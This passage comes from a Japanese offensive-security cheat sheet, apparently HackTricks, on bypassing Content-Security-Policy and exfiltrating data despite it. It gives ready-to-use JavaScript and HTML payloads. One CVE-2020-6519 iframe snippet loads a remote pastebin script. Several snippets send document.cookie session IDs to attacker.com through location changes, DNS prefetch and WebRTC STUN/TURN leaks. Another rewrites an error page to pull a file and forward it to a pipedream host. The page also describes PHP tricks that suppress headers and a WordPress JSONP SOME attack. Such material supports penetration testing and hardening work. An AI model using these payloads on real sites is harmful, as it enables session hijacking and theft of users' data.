サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**おそらくCRLFのためで応答するように管理できれば、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に抽出したい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
例については[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### CSPとIframeを使用した情報漏洩
- `iframe`がCSPによって許可されたURLこれを`https://example.redirect.com`と呼びます)を指すように作成されます。
- このURLは、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトします。
- `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作により機密情報が漏洩する可能性があることは興味深いです。
別の手法は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを明らかにすることができます。
両方の方法は、CSPの実装とブラウザの動作のニュアンスを利用しており、一見安全なポリシーがどのようにして意図せずに機密情報を漏洩させるかを示しています。
[**ここ**](https://ctftime.org/writeup/29310)からのトリック。
## CSPをバイパスするための危険な技術
### パラメータが多すぎるときのPHPエラー
[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能、PHPウェブコードで定義された**`header()`**は、このエラーがトリガーされるため**送信されません**。
### PHPレスポンスバッファのオーバーロード
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
### エラーページの書き換え
[**この書き込み**](https://blog.ssrf.kr/69)によると、エラーページCSPがない可能性があるを読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
```
### SOME + 'self' + wordpress
SOMEは、**ページのエンドポイント**でXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページを悪用したい同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
攻撃者はそのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
## CSP Exfiltration Bypasses
厳格なCSPがあり、**外部サーバーと対話することを許可しない**場合、情報を抽出するために常にできることがいくつかあります。
### Location
攻撃者のサーバーに秘密の情報を送信するために、単にロケーションを更新することができます:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
メタタグを注入することでリダイレクトできます(これは単なるリダイレクトであり、コンテンツは漏れません)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、それを後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決させるには、次のように指定できます: `<link rel="dns-prefetch" href="something.com">`
この動作を悪用して、**DNSリクエストを介して機密情報を流出させる**ことができます:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
```
別の方法:
```javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
この問題を避けるために、サーバーはHTTPヘッダーを送信できます:
```
X-DNS-Prefetch-Control: off
```
> [!NOTE]
> この技術はヘッドレスブラウザ(ボット)では機能しないようです。
### WebRTC
いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
別のオプション:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## CSPポリシーのオンラインチェック
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSPの自動生成
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## 参考文献
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}